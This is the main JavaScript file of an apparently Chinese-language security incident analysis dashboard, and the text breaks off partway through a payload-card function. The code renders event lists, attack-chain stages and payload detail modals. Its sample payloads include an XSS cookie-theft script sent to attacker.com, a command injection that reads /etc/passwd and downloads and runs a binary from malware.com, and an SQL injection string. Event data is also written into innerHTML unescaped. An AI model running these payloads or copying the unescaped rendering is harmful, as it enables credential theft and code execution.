// 安全事件分析平台主脚本

// 获取所有事件 - 封装data.js中的getAllEvents函数
function getEvents() {
    return getAllEvents();
}

// 页面加载完成后初始化
window.addEventListener('DOMContentLoaded', function() {
    // 初始化数据 - 确保数据已经初始化
    // 注意：数据初始化已经在data.js中通过initLocalStorageData()完成
    
    // 渲染事件列表
    renderEventList();
    
    // 初始化标签页导航
    initTabNavigation();
    
    // 默认选中第一个事件
    const firstEvent = getEvents()[0];
    if (firstEvent) {
        selectEvent(firstEvent.id);
    }
    
    // 添加事件监听（通过选择器）
    // 搜索功能 - 使用ID选择器更可靠
    const searchInput = document.getElementById('event-search');
    if (searchInput) {
        searchInput.addEventListener('input', handleSearch);
    }
    
    // 高级筛选功能已移除
    // 高级筛选面板相关代码也不再需要
    // const filterButton = document.querySelector('button i.fa-sliders').parentElement;
    // if (filterButton) {
    //     filterButton.addEventListener('click', toggleAdvancedFilter);
    // }
    
    // 关联面板切换功能
    const toggleElement = document.querySelector('.aside:last-child .fa-angle-double-right');
    if (toggleElement && toggleElement.parentElement) {
        const relatedToggle = toggleElement.parentElement;
        relatedToggle.addEventListener('click', toggleRelatedPanel);
    }
    
    // 添加响应式调整
    window.addEventListener('resize', handleResize);
    handleResize(); // 初始调用一次
});

// 获取威胁等级文本
function getSeverityText(severity) {
    const severityMap = {
        critical: '紧急',
        high: '高危',
        medium: '中危',
        low: '低危',
        info: '信息'
    };
    return severityMap[severity] || severity || '未知';
}

// 获取状态文本
function getStatusText(status) {
    const statusMap = {
        pending: '待处理',
        analyzing: '分析中',
        resolved: '已解决',
        closed: '已关闭'
    };
    return statusMap[status] || status || '未知';
}

// 切换高级筛选面板显示/隐藏
function toggleAdvancedFilter() {
    const panel = document.getElementById('advanced-filter-panel');
    if (panel) {
        panel.classList.toggle('hidden');
    }
}

// 当前筛选条件
let currentFilters = {
    searchTerm: '',
    dateFrom: '',
    dateTo: '',
    statuses: [],
    attackChainStages: [],
    threatLevels: [],
    attackType: '全部'
};

// 应用筛选
function applyFilters() {
    // 获取筛选条件
    const dateInputs = document.querySelectorAll('#advanced-filter-panel input[type="date"]');
    currentFilters.dateFrom = dateInputs[0].value;
    currentFilters.dateTo = dateInputs[1].value;
    
    // 获取状态筛选
    currentFilters.statuses = Array.from(document.querySelectorAll('#advanced-filter-panel input[value="pending"], #advanced-filter-panel input[value="analyzing"], #advanced-filter-panel input[value="resolved"]'))
        .filter(checkbox => checkbox.checked)
        .map(checkbox => checkbox.value);
    
    // 获取攻击链阶段筛选
    currentFilters.attackChainStages = Array.from(document.querySelectorAll('#advanced-filter-panel input[type="checkbox"]'))
        .filter(checkbox => checkbox.checked && checkbox.closest('div').previousElementSibling?.textContent === '攻击链阶段')
        .map(checkbox => checkbox.value);
    
    // 获取威胁等级筛选
    currentFilters.threatLevels = Array.from(document.querySelectorAll('#advanced-filter-panel input[type="checkbox"]'))
        .filter(checkbox => checkbox.checked && checkbox.closest('div').previousElementSibling?.textContent === '威胁等级')
        .map(checkbox => checkbox.value);
    
    renderEventList();
}

// 重置筛选
function resetFilters() {
    // 重置日期输入
    const dateInputs = document.querySelectorAll('#advanced-filter-panel input[type="date"]');
    dateInputs.forEach(input => input.value = '');
    
    // 重置所有复选框
    const checkboxes = document.querySelectorAll('#advanced-filter-panel input[type="checkbox"]');
    checkboxes.forEach(checkbox => checkbox.checked = false);
    
    // 重置当前筛选条件
    currentFilters = {
        searchTerm: currentFilters.searchTerm, // 保留搜索词
        dateFrom: '',
        dateTo: '',
        statuses: [],
        attackChainStages: [],
        threatLevels: [],
        attackType: '全部'
    };
    
    renderEventList();
}

// 处理搜索
function handleSearch(event) {
    currentFilters.searchTerm = event.target.value.toLowerCase();
    renderEventList();
}

// 设置攻击类型筛选
function setAttackTypeFilter(attackType) {
    currentFilters.attackType = attackType;
    
    // 更新标签按钮状态
    const buttons = document.querySelectorAll('.px-3.py-1.rounded-full.text-xs');
    buttons.forEach(button => {
        if (button.textContent.trim() === attackType) {
            button.classList.remove('bg-white/80', 'border', 'border-primary-border', 'hover:bg-gray-50');
            button.classList.add('bg-primary-accent', 'text-primary-main');
        } else {
            button.classList.remove('bg-primary-accent', 'text-primary-main');
            button.classList.add('bg-white/80', 'border', 'border-primary-border', 'hover:bg-gray-50');
        }
    });
    
    renderEventList();
}

// 过滤事件
function filterEvents(events) {
    return events.filter(event => {
        // 搜索词过滤
        if (currentFilters.searchTerm) {
            const searchLower = currentFilters.searchTerm;
            const matchesSearch = 
                event.name?.toLowerCase().includes(searchLower) ||
                event.description?.toLowerCase().includes(searchLower) ||
                event.sourceIP?.toLowerCase().includes(searchLower) ||
                event.targetIP?.toLowerCase().includes(searchLower);
            if (!matchesSearch) return false;
        }
        
        // 日期过滤
        if (currentFilters.dateFrom || currentFilters.dateTo) {
            const eventDate = new Date(event.timestamp);
            if (currentFilters.dateFrom && eventDate < new Date(currentFilters.dateFrom)) {
                return false;
            }
            if (currentFilters.dateTo) {
                // 设置到当天结束时间
                const toDate = new Date(currentFilters.dateTo);
                toDate.setHours(23, 59, 59, 999);
                if (eventDate > toDate) {
                    return false;
                }
            }
        }
        
        // 状态过滤
        if (currentFilters.statuses.length > 0 && !currentFilters.statuses.includes(event.status)) {
            return false;
        }
        
        // 攻击链阶段过滤
        if (currentFilters.attackChainStages.length > 0) {
            // 检查两种可能的字段名，确保筛选正确
            const eventAttackStage = event.attackChainStage || event.attackStage;
            if (!currentFilters.attackChainStages.includes(eventAttackStage)) {
                return false;
            }
        }
        
        // 威胁等级过滤
        if (currentFilters.threatLevels.length > 0 && !currentFilters.threatLevels.includes(event.threatLevel)) {
            return false;
        }
        
        // 攻击类型过滤
        if (currentFilters.attackType !== '全部' && event.attackType !== currentFilters.attackType) {
            return false;
        }
        
        return true;
    });
}

// 渲染事件列表
function renderEventList() {
    const eventList = document.getElementById('event-list');
    eventList.innerHTML = '';
    
    let events = getEvents();
    
    // 应用筛选
    events = filterEvents(events);
    
    // 如果没有事件，显示空状态
    if (events.length === 0) {
        const emptyState = document.createElement('div');
        emptyState.className = 'p-4 text-center text-gray-500';
        emptyState.innerHTML = `
            <i class="fa fa-search text-xl mb-2"></i>
            <p class="text-sm">没有找到匹配的事件</p>
        `;
        eventList.appendChild(emptyState);
        return;
    }
    
    events.forEach(event => {
        const eventItem = document.createElement('div');
        eventItem.className = 'event-item p-3 cursor-pointer hover:bg-gray-50 transition-colors';
        eventItem.dataset.id = event.id;
        
        // 添加事件点击事件
        eventItem.addEventListener('click', function() {
            selectEvent(event.id);
        });
        
        // 获取威胁等级、状态和攻击链阶段文本
        const threatLevelText = getSeverityText(event.threatLevel);
        const statusText = getStatusText(event.status);
        // 确保攻击链阶段字段正确，避免undefined显示
        const attackStageText = event.attackChainStage || event.attackStage || '未知';
        
        // 构建事件内容
        eventItem.innerHTML = `
            <div class="flex justify-between items-start mb-2">
                <h4 class="font-medium truncate max-w-[80%]">${event.name}</h4>
                <span class="tag tag-${event.threatLevel || 'info'} bg-opacity-15 text-sm px-2 py-0.5 rounded-full">${threatLevelText}</span>
            </div>
            <div class="flex justify-between items-center mb-2">
                <span class="text-xs text-gray-600">攻击链阶段: ${attackStageText}</span>
                <span class="status-badge status-${event.status} text-xs px-2 py-0.5 rounded-full">${statusText}</span>
            </div>
            <div class="text-xs text-gray-500">
                ${new Date(event.timestamp).toLocaleString()}
            </div>
        `;
        
        eventList.appendChild(eventItem);
    });
}

// 全局变量存储当前选中的事件
let currentSelectedEvent = null;

// 选择事件
function selectEvent(eventId) {
    try {
        // 验证eventId
        if (!eventId) {
            console.error('无效的事件ID');
            return;
        }
        
        // 取消之前的选中状态
        document.querySelectorAll('.event-item').forEach(item => {
            item.classList.remove('selected');
        });
        
        // 设置新的选中状态和动画
        const selectedItem = document.querySelector(`.event-item[data-id="${eventId}"]`);
        if (selectedItem) {
            selectedItem.classList.add('selected');
            // 添加短暂高亮效果
            selectedItem.classList.add('bg-blue-50');
            setTimeout(() => {
                selectedItem.classList.remove('bg-blue-50');
            }, 300);
        } else {
            console.warn(`未找到ID为${eventId}的事件项`);
        }
        
        // 获取事件详情
        const event = getEventById(eventId);
        if (event) {
            // 确保事件对象是有效的
            if (typeof event !== 'object') {
                console.error('无效的事件对象');
                return;
            }
            
            // 存储当前选中的事件到全局变量
            currentSelectedEvent = event;
            
            // 显示事件详情 - 更新中央区域
            // 确保中间视图完全刷新，重新生成所有卡片
            showEventDetails(event);
            
            // 强制更新攻击链卡片，确保攻击链阶段样式正确显示
            try {
                const detailsContainer = document.getElementById('analysis-workspace');
                if (detailsContainer) {
                    // 使用标准方法查找攻击链卡片
                    let attackChainCard = null;
                    let basicInfoCard = null;
                    const cards = detailsContainer.querySelectorAll('.info-card');
                    
                    // 遍历所有卡片找到目标卡片
                    cards.forEach(card => {
                        const h3 = card.querySelector('h3');
                        if (h3) {
                            if (h3.textContent.trim() === '攻击链阶段') {
                                attackChainCard = card;
                            } else if (h3.textContent.trim() === '基本信息') {
                                basicInfoCard = card;
                            }
                        }
                    });
                    
                    // 创建新的攻击链卡片并添加到容器
                    const newAttackChainCard = createAttackChainCard(event);
                    if (newAttackChainCard) {
                        // 如果找到旧的攻击链卡片，先移除
                        if (attackChainCard) {
                            attackChainCard.remove();
                        }
                        
                        // 在基本信息卡片后插入，或者直接添加到容器末尾
                        if (basicInfoCard && basicInfoCard.nextSibling) {
                            detailsContainer.insertBefore(newAttackChainCard, basicInfoCard.nextSibling);
                        } else {
                            detailsContainer.appendChild(newAttackChainCard);
                        }
                    }
                }
            } catch (error) {
                console.error('强制更新攻击链卡片时出错:', error);
            }
            
            // 更新右侧关联信息
            try {
                updateRelatedInformation(event);
            } catch (error) {
                console.error('更新关联信息时出错:', error);
                // 关联信息错误不影响主详情显示
            }
            
            // 高亮对应的时间线项目
            try {
                highlightTimelineItem(eventId);
            } catch (error) {
                console.error('高亮时间线项目时出错:', error);
                // 时间线高亮错误不影响主详情显示
            }
            
            // 检查当前是否显示攻击链分析标签，如果是则更新攻击链分析内容
            try {
                const activeTab = document.querySelector('.tab-navigation button.active');
                if (activeTab && activeTab.getAttribute('data-target') === 'attack-chain') {
                    loadTabContent('attack-chain', eventId);
                }
            } catch (error) {
                console.error('更新攻击链分析内容时出错:', error);
                // 攻击链分析更新错误不影响主详情显示
            }
            
            // 显示操作成功的提示
            showNotification(`已选择 ${event.type || '未知类型'} 事件`, 'success');
        } else {
            console.error('未找到ID为', eventId, '的事件');
            // 清空当前选中的事件
            currentSelectedEvent = null;
            // 显示错误提示
            const detailsContainer = document.getElementById('analysis-workspace');
            if (detailsContainer) {
                detailsContainer.innerHTML = `
                    <div class="info-card p-6 text-center">
                        <h3 class="text-lg font-medium mb-2 text-text-primary">事件详情加载失败</h3>
                        <p class="text-sm text-text-secondary">无法找到ID为${eventId}的事件数据，请刷新页面重试。</p>
                    </div>
                `;
                detailsContainer.style.display = 'block';
                detailsContainer.style.opacity = '1';
            }
        }
    } catch (error) {
        console.error('选择事件时发生未预期错误:', error);
        // 清空当前选中的事件
        currentSelectedEvent = null;
        // 显示通用错误提示，确保界面不会崩溃
        const detailsContainer = document.getElementById('analysis-workspace');
        if (detailsContainer) {
            detailsContainer.innerHTML = `
                <div class="info-card p-6 text-center border-l-4 border-red-500">
                    <h3 class="text-lg font-medium mb-2 text-text-primary">系统错误</h3>
                    <p class="text-sm text-text-secondary">处理请求时发生错误，请刷新页面重试。</p>
                </div>
            `;
            detailsContainer.style.display = 'block';
            detailsContainer.style.opacity = '1';
        }
    }
}

// 创建分析过程卡片
function createAnalysisProcessCard(event) {
    const card = document.createElement('div');
    card.className = 'info-card p-4';
    
    // 生成分析过程HTML
    const analysisSteps = [
        { title: "初步检测", description: "系统通过安全设备检测到可疑活动", completed: true },
        { title: "威胁识别", description: `识别为${event.attackType || '未知类型'}攻击`, completed: true },
        { title: "影响评估", description: `影响了${event.affectedAssets?.length || 0}个资产`, completed: true },
        { title: "攻击路径分析", description: `当前处于${event.attackChainStage || '未知'}阶段`, completed: true },
        { title: "缓解措施制定", description: "根据分析结果制定应对策略", completed: event.status === 'resolved' }
    ];
    
    const stepsHtml = analysisSteps.map((step, index) => `
        <div class="flex mb-4 last:mb-0">
            <div class="flex flex-col items-center mr-4">
                <div class="rounded-full w-8 h-8 flex items-center justify-center bg-gray-200 text-gray-500" style="font-size: 14px; font-weight: bold;">
                    ${index + 1}
                </div>
                ${index < analysisSteps.length - 1 ? '<div class="h-full w-0.5 bg-gray-200 my-1"></div>' : ''}
            </div>
            <div class="flex-1 pt-1">
                <h4 class="font-medium">${step.title}</h4>
                <p class="text-sm text-text-secondary mt-1">${step.description}</p>
                ${step.completed ? `<p class="text-xs text-text-tertiary mt-1">${new Date().toLocaleString()}</p>` : ''}
            </div>
        </div>
    `).join('');
    
    card.innerHTML = `
        <h3 class="text-lg font-medium mb-3 text-text-primary">分析过程</h3>
        <div class="analysis-steps">
            ${stepsHtml}
        </div>
    `;
    
    return card;
}

// 创建分析结果卡片
function createAnalysisResultCard(event) {
    const card = document.createElement('div');
    card.className = 'info-card p-4';
    
    // 确定分析结论
    let conclusion = '';
    let recommendation = '';
    
    switch (event.attackType) {
        case 'Web攻击':
            conclusion = "这是一次有针对性的Web攻击，攻击者使用SQL注入技术尝试获取敏感数据。";
            recommendation = "立即修补Web应用漏洞，实施WAF规则拦截SQL注入，审查数据库访问日志。";
            break;
        case '恶意软件':
            conclusion = "系统遭受勒索软件感染，文件被加密，需要立即隔离受感染系统。";
            recommendation = "隔离受感染资产，恢复备份数据，更新防病毒软件，阻断C2通信。";
            break;
        case '暴力破解':
            conclusion = "检测到针对SSH服务的暴力破解尝试，攻击者使用常见弱密码进行字典攻击。";
            recommendation = "实施IP封禁，开启双因素认证，使用强密码策略，限制SSH访问来源。";
            break;
        case '数据泄露':
            conclusion = "检测到敏感数据被大量导出，可能已造成数据泄露事件。";
            recommendation = "立即阻断数据传输，调查泄露范围，通知相关监管机构和受影响用户。";
            break;
        case '内部威胁':
            conclusion = "检测到内部系统异常活动，可能涉及权限滥用或内部威胁。";
            recommendation = "冻结相关账户权限，调查用户活动记录，加强内部访问控制。";
            break;
        default:
            conclusion = "需要进一步分析以确定攻击类型和影响范围。";
            recommendation = "持续监控相关系统，收集更多日志信息，进行深入取证分析。";
    }
    
    // 统计信息
    const logCount = event.logs?.length || 0;
    const intelCount = event.threatIntel?.length || 0;
    const affectedAssetCount = event.affectedAssets?.length || 0;
    
    card.innerHTML = `
        <h3 class="text-lg font-medium mb-3 text-text-primary">分析结果</h3>
        
        <div class="mb-4">
            <h4 class="text-sm font-medium mb-2 text-text-secondary">分析结论</h4>
            <div class="border border-primary-border rounded-lg p-3 bg-bg-light">
                <p>${conclusion}</p>
            </div>
        </div>
        
        <div class="mb-4">
            <h4 class="text-sm font-medium mb-2 text-text-secondary">推荐措施</h4>
            <div class="border border-primary-border rounded-lg p-3">
                <p>${recommendation}</p>
            </div>
        </div>
        
        <div class="grid grid-cols-3 gap-3">
            <div class="p-3 bg-bg-light rounded-lg text-center">
                <div class="text-lg font-medium">${logCount}</div>
                <div class="text-xs text-text-tertiary">相关日志</div>
            </div>
            <div class="p-3 bg-bg-light rounded-lg text-center">
                <div class="text-lg font-medium">${intelCount}</div>
                <div class="text-xs text-text-tertiary">情报命中</div>
            </div>
            <div class="p-3 bg-bg-light rounded-lg text-center">
                <div class="text-lg font-medium">${affectedAssetCount}</div>
                <div class="text-xs text-text-tertiary">受影响资产</div>
            </div>
        </div>
    `;
    
    return card;
}

// 显示事件详情
function showEventDetails(eventOrId) {
    // 处理事件ID或事件对象
    let event;
    if (typeof eventOrId === 'string') {
        // 如果传入的是ID，获取事件对象
        event = getEventById(eventOrId);
        if (!event) {
            console.error('找不到指定ID的事件:', eventOrId);
            return;
        }
    } else if (typeof eventOrId === 'object' && eventOrId !== null) {
        // 如果传入的是事件对象，直接使用
        event = eventOrId;
    } else {
        console.error('无效的事件参数:', eventOrId);
        return;
    }
    
    // 找到事件详情容器（使用正确的ID）
    let detailsContainer = document.getElementById('analysis-workspace');
    
    if (!detailsContainer) {
        console.error('未找到事件详情容器');
        return;
    }
    
    // 清空详情容器
    detailsContainer.innerHTML = '';
    
    // 确保容器完全可见
    detailsContainer.style.display = 'block';
    detailsContainer.style.opacity = '1';
    
    // 卡片创建函数列表
    const cardCreators = [
        { name: '分析过程', creator: createAnalysisProcessCard },
        { name: '分析结果', creator: createAnalysisResultCard },
        { name: '基本信息', creator: createBasicInfoCard },
        { name: '攻击链', creator: createAttackChainCard },
        { name: '攻击载荷', creator: createPayloadCard },
        { name: '网络流量', creator: createNetworkTrafficCard },
        { name: '告警信息', creator: createAlertsCard },
        { name: '关联资产', creator: createRelatedAssetsCard }
    ];
    
    // 使用try-catch单独处理每个卡片，确保一个卡片失败不影响其他卡片显示
    cardCreators.forEach(({ name, creator }) => {
        try {
            const card = creator(event);
            if (card && card.nodeType === Node.ELEMENT_NODE) {
                detailsContainer.appendChild(card);
            }
        } catch (error) {
            console.error(`创建${name}卡片时出错:`, error);
            // 创建错误提示卡片，而不是完全不显示
            const errorCard = document.createElement('div');
            errorCard.className = 'info-card p-4 border-l-4 border-yellow-500';
            errorCard.innerHTML = `
                <h3 class="text-lg font-medium mb-2 text-text-primary">${name}（加载出错）</h3>
                <p class="text-sm text-text-secondary">该部分内容无法正常显示，请刷新页面重试。</p>
            `;
            detailsContainer.appendChild(errorCard);
        }
    });
    
    // 更新右侧关联信息面板
    updateRelatedInformation(event);
    
    // 确保右侧面板可见
    const relatedPanel = document.getElementById('related-panel');
    if (relatedPanel) {
        relatedPanel.style.display = 'flex';
    }
}

// 创建基本信息卡片
function createBasicInfoCard(event) {
    const card = document.createElement('div');
    card.className = 'info-card p-4';
    
    card.innerHTML = `
        <h3 class="text-lg font-medium mb-3 text-text-primary">基本信息</h3>
        <div class="grid grid-cols-2 gap-4">
            <div>
                <p class="text-sm text-text-secondary">事件名称</p>
                <p class="font-medium">${event.name}</p>
            </div>
            <div>
                <p class="text-sm text-text-secondary">威胁等级</p>
                <span class="tag tag-${event.threatLevel || event.severity}">${getSeverityText(event.threatLevel || event.severity)}</span>
            </div>
            <div>
                <p class="text-sm text-text-secondary">处置状态</p>
                <span class="status-badge status-${event.status}">${getStatusText(event.status)}</span>
            </div>
            <div>
                <p class="text-sm text-text-secondary">发生时间</p>
                <p>${new Date(event.timestamp).toLocaleString()}</p>
            </div>
            <div>
                <p class="text-sm text-text-secondary">源IP地址</p>
                <p class="geo-marker">${event.sourceIP}</p>
            </div>
            <div>
                <p class="text-sm text-text-secondary">目标IP地址</p>
                <p class="geo-marker">${event.targetIP}</p>
            </div>
        </div>
        <div class="mt-4">
            <p class="text-sm text-text-secondary">事件描述</p>
            <p class="mt-1">${event.description}</p>
        </div>
    `;
    
    return card;
}

// 创建攻击链卡片
function createAttackChainCard(event) {
    const card = document.createElement('div');
    card.className = 'info-card p-4';
    
    // 获取攻击链阶段索引
    const stages = ['recon', 'weaponize', 'deliver', 'exploit', 'install', 'c2', 'action'];
    const stageNames = ['侦察', '武器化', '交付', '利用', '安装', '命令控制', '目标达成'];
    const currentStageIndex = stages.indexOf(event.attackStage);
    
    let chainHtml = '';
    stages.forEach((stage, index) => {
        let className = 'chain-stage';
        
        // 固定将前四个阶段（侦查、武器化、交付和利用）设置为橙色
        if (index < 4) {
            className += ' orange';
        }
        
        // 已完成阶段和当前阶段的样式
        if (index < currentStageIndex) {
            className += ' completed';
        } else if (index === currentStageIndex) {
            className += ' current';
        }
        
        chainHtml += `<div class="${className}" title="${stageNames[index]}"></div>`;
    });
    
    card.innerHTML = `
        <h3 class="text-lg font-medium mb-3 text-text-primary">攻击链阶段</h3>
        <div class="attack-chain mb-2">
            ${chainHtml}
        </div>
        <div class="flex justify-between text-xs text-text-tertiary">
            ${stageNames.map((name, index) => {
                const isActive = index === currentStageIndex;
                return `<span class="${isActive ? 'font-medium text-text-secondary' : ''}">${name}</span>`;
            }).join('')}
        </div>
        <div class="mt-4">
            <p class="text-sm text-text-secondary">当前阶段详情</p>
            <p class="mt-1">${getStageDescription(event.attackStage)}</p>
        </div>
        <div class="mt-4">
            <p class="text-sm text-text-secondary">利用阶段</p>
            <p class="mt-1">攻击者通过SQL注入漏洞向数据库提交恶意代码，获取敏感信息或执行未授权操作。</p>
        </div>
    `;
    
    return card;
}

// 显示通知提示函数
function showNotification(message, type = 'info') {
    // 创建通知元素
    const notification = document.createElement('div');
    notification.className = `notification fixed top-4 right-4 px-4 py-3 rounded-lg shadow-lg z-50 transform transition-all duration-300 ease-in-out translate-x-full`;
    
    // 设置样式和内容
    let bgColor = 'bg-blue-500'; // 默认信息色
    let icon = 'fa-info-circle';
    
    switch(type) {
        case 'success':
            bgColor = 'bg-green-500';
            icon = 'fa-check-circle';
            break;
        case 'error':
            bgColor = 'bg-red-500';
            icon = 'fa-exclamation-circle';
            break;
        case 'warning':
            bgColor = 'bg-yellow-500';
            icon = 'fa-exclamation-triangle';
            break;
    }
    
    notification.classList.add(bgColor);
    notification.innerHTML = `
        <div class="flex items-center text-white">
            <i class="fa ${icon} mr-2"></i>
            <span>${message}</span>
        </div>
    `;
    
    // 添加到文档
    document.body.appendChild(notification);
    
    // 显示通知
    setTimeout(() => {
        notification.classList.remove('translate-x-full');
        notification.classList.add('translate-x-0');
    }, 10);
    
    // 3秒后自动消失
    setTimeout(() => {
        notification.classList.remove('translate-x-0');
        notification.classList.add('translate-x-full');
        setTimeout(() => {
            document.body.removeChild(notification);
        }, 300);
    }, 3000);
}

// 创建完整载荷模态框
function createFullPayloadModal(event) {
    // 创建模态框容器
    const modal = document.createElement('div');
    modal.className = 'modal-overlay fixed inset-0 bg-black/50 flex items-center justify-center z-50';
    modal.setAttribute('id', 'payload-modal');
    
    // 获取完整载荷数据，并确保所有字段都有默认值
    const payload = event.payload || {};
    
    // 根据事件类型生成有意义的数据
    const eventType = event.attackType || '通用攻击';
    const severity = event.severity || '中';
    
    // 生成哈希值
    const generateHash = () => {
        if (payload.hash) return payload.hash;
        // 根据事件类型生成模拟哈希
        const hashPrefix = eventType === 'SQL注入' ? '5f2a' : eventType === 'XSS' ? '8e9b' : 'a1b2';
        return `${hashPrefix}${Math.random().toString(16).substring(2, 10)}${Math.random().toString(16).substring(2, 10)}`;
    };
    
    // 获取文件类型
    const getFileType = () => {
        if (payload.type) return payload.type;
        switch(eventType) {
            case 'SQL注入': return 'SQL命令';
            case 'XSS': return 'JavaScript脚本';
            case '命令注入': return '系统命令';
            case '漏洞利用': return '攻击脚本';
            case '数据泄露': return '数据文件';
            case '恶意软件': return '可执行文件';
            default: return '攻击载荷';
        }
    };
    
    // 获取文件大小
    const getFileSize = () => {
        if (payload.size) return payload.size;
        return `${Math.floor(Math.random() * 1000) + 100} 字节`;
    };
    
    // 获取创建时间
    const getCreatedTime = () => {
        if (payload.createdAt) return new Date(payload.createdAt).toLocaleString();
        // 生成过去24小时内的随机时间
        const now = new Date();
        const randomHours = Math.floor(Math.random() * 24);
        const randomMinutes = Math.floor(Math.random() * 60);
        now.setHours(now.getHours() - randomHours);
        now.setMinutes(now.getMinutes() - randomMinutes);
        return now.toLocaleString();
    };
    
    // 获取载荷来源
    const getPayloadSource = () => {
        if (payload.source) return payload.source;
        const sources = [
            '外部网络攻击',
            '恶意邮件附件',
            '可疑下载链接',
            '高危漏洞利用',
            '钓鱼网站'
        ];
        return sources[Math.floor(Math.random() * sources.length)];
    };
    
    // 获取恶意行为描述
    const getBehaviorDescription = () => {
        if (payload.behaviorDescription) return payload.behaviorDescription;
        switch(eventType) {
            case 'SQL注入':
                return '尝试通过构造特殊SQL语句绕过认证机制，可能导致未授权数据访问、数据泄露或数据库损坏。';
            case 'XSS':
                return '注入恶意JavaScript代码，可能导致会话劫持、数据窃取或对其他用户的攻击传播。';
            case '命令注入':
                return '尝试在服务器或应用程序中执行系统命令，可能导致服务器控制权丢失。';
            case '漏洞利用':
                return '利用系统或应用程序的已知漏洞，可能导致权限提升或未授权访问。';
            case '数据泄露':
                return '试图未授权访问或导出敏感数据，可能导致商业机密或个人信息泄露。';
            case '恶意软件':
                return '通过恶意代码执行各种攻击活动，包括数据窃取、勒索或建立后门。';
            default:
                return '检测到可能的恶意活动，正在分析具体行为特征和影响范围。';
        }
    };
    
    // 获取IOC信息
    const getIOCInfo = () => {
        if (payload.ioc && Object.keys(payload.ioc).length > 0) {
            return Object.entries(payload.ioc).map(([key, value]) => `
                <div class="mb-2 last:mb-0">
                    <span class="font-medium text-xs">${key}:</span>
                    <span class="text-xs ml-2">${Array.isArray(value) ? value.join(', ') : value || '未检测到'}</span>
                </div>
            `).join('');
        }
        
        // 生成模拟IOC
        const ipAddress = `192.168.${Math.floor(Math.random() * 255)}.${Math.floor(Math.random() * 255)}`;
        const domain = `malicious-domain-${Math.random().toString(36).substring(2, 8)}.com`;
        const url = `http://${domain}/payload?param=${Math.random().toString(36).substring(2, 10)}`;
        
        return `
            <div class="mb-2">
                <span class="font-medium text-xs">IP地址:</span>
                <span class="text-xs ml-2">${ipAddress}</span>
            </div>
            <div class="mb-2">
                <span class="font-medium text-xs">恶意域名:</span>
                <span class="text-xs ml-2">${domain}</span>
            </div>
            <div class="mb-2">
                <span class="font-medium text-xs">可疑URL:</span>
                <span class="text-xs ml-2">${url}</span>
            </div>
            <div class="mb-2">
                <span class="font-medium text-xs">攻击特征:</span>
                <span class="text-xs ml-2">${eventType} - ${severity}级威胁</span>
            </div>
        `;
    };
    
    // 获取载荷代码示例
    const getPayloadSample = () => {
        if (payload.sampleCode) return payload.sampleCode;
        switch(eventType) {
            case 'SQL注入':
                return `' OR '1'='1
UNION SELECT username, password FROM admin_users
--`;
            case 'XSS':
                return `<script>
  document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>`;
            case '命令注入':
                return `; cat /etc/passwd
; wget -O /tmp/malware http://malware.com/payload && chmod +x /tmp/malware && /tmp/malware`;
            case '漏洞利用':
                return `// 示例缓冲区溢出攻击
const payload = 'A'.repeat(1024) + '\x41\x42\x43\x44';
sendPayload(target, port, payload);`;
            default:
                return `// 恶意代码示例
function maliciousFunction() {
  // 执行恶意操作
  const data = collectSensitiveData();
  exfiltrateData(data);
  establishPersistence();
}`;
        }
    };
    
    // 获取执行流程
    const getExecutionSteps = () => {
        if (payload.executionSteps && payload.executionSteps.length > 0) {
            return payload.executionSteps.map((step, index) => `
                <div class="flex mb-2 last:mb-0">
                    <span class="w-6 h-6 rounded-full bg-primary text-white flex items-center justify-center text-xs mr-2">${index + 1}</span>
                    <span class="text-xs">${step}</span>
                </div>
            `).join('');
        }
        
        // 生成通用执行流程
        const steps = [
            '载荷通过网络传输到目标系统',
            '绕过目标系统的安全防护机制',
            '在目标环境中执行初始代码',
            '收集系统信息和环境变量',
            '尝试权限提升操作',
            '建立持久化机制确保重启后继续运行',
            '与命令控制服务器建立通信',
            '执行主要攻击目标（数据窃取/破坏）'
        ];
        
        return steps.map((step, index) => `
            <div class="flex mb-2 last:mb-0">
                <span class="w-6 h-6 rounded-full bg-primary text-white flex items-center justify-center text-xs mr-2">${index + 1}</span>
                <span class="text-xs">${step}</span>
            </div>
        `).join('');
    };
    
    // 构建模态框内容
    modal.innerHTML = `
        <div class="modal-content bg-white rounded-lg shadow-lg w-full max-w-3xl max-h-[90vh] overflow-auto">
            <div class="modal-header p-4 border-b flex justify-between items-center">
                <h2 class="text-xl font-medium text-text-primary">完整载荷详情</h2>
                <button class="close-modal text-gray-500 hover:text-gray-700">
                    <i class="fa fa-times text-lg"></i>
                </button>
            </div>
            <div class="modal-body p-4">
                <div class="grid grid-cols-2 gap-4 mb-4">
                    <div>
                        <p class="text-sm text-text-secondary mb-1">哈希值 (MD5)</p>
                        <p class="font-mono text-sm bg-bg-light p-2 rounded">${generateHash()}</p>
                    </div>
                    <div>
                        <p class="text-sm text-text-secondary mb-1">文件类型</p>
                        <p>${getFileType()}</p>
                    </div>
                    <div>
                        <p class="text-sm text-text-secondary mb-1">文件大小</p>
                        <p>${getFileSize()}</p>
                    </div>
                    <div>
                        <p class="text-sm text-text-secondary mb-1">创建时间</p>
                        <p>${getCreatedTime()}</p>
                    </div>
                </div>
                
                <div class="mb-4">
                    <p class="text-sm text-text-secondary mb-1">载荷来源</p>
                    <p>${getPayloadSource()}</p>
                </div>
                
                <div class="mb-4">
                    <p class="text-sm text-text-secondary mb-1">恶意行为描述</p>
                    <p>${getBehaviorDescription()}</p>
                </div>
                
                <div class="mb-4">
                    <p class="text-sm text-text-secondary mb-1">IOC信息</p>
                    <div class="bg-bg-light p-3 rounded">
                        ${getIOCInfo()}
                    </div>
                </div>
                
                <div class="mb-4">
                    <p class="text-sm text-text-secondary mb-1">载荷代码</p>
                    <div class="code-block max-h-60 overflow-auto">
                        ${getPayloadSample()}
                    </div>
                </div>
                
                <div class="mb-4">
                    <p class="text-sm text-text-secondary mb-1">执行流程</p>
                    <div class="bg-bg-light p-3 rounded">
                        ${getExecutionSteps()}
                    </div>
                </div>
            </div>
        </div>
    `;
    
    // 添加关闭事件
    modal.querySelector('.close-modal').addEventListener('click', () => {
        modal.remove();
    });
    
    // 点击模态框外部关闭
    modal.addEventListener('click', (e) => {
        if (e.target === modal) {
            modal.remove();
        }
    });
    
    return modal;
}

// 创建事件载荷卡片
function createPayloadCard(event) {
    const card = document.createElement('div');
    card.className = 'info-card p-4';
    
    // 确保payload对象存在并添加缺失的字段
    const payload = event.payload || {};
    // 根据事件类型动态设置文件类型和大小
    const fileType = payload.type || (event.attackType === 'Web攻击' ? 'SQL命令' : 
                                     event.attackType === '恶意软件' ? '可执行文件' : 
                                     event.attackType === '暴力破解' ? '命令序列' : 
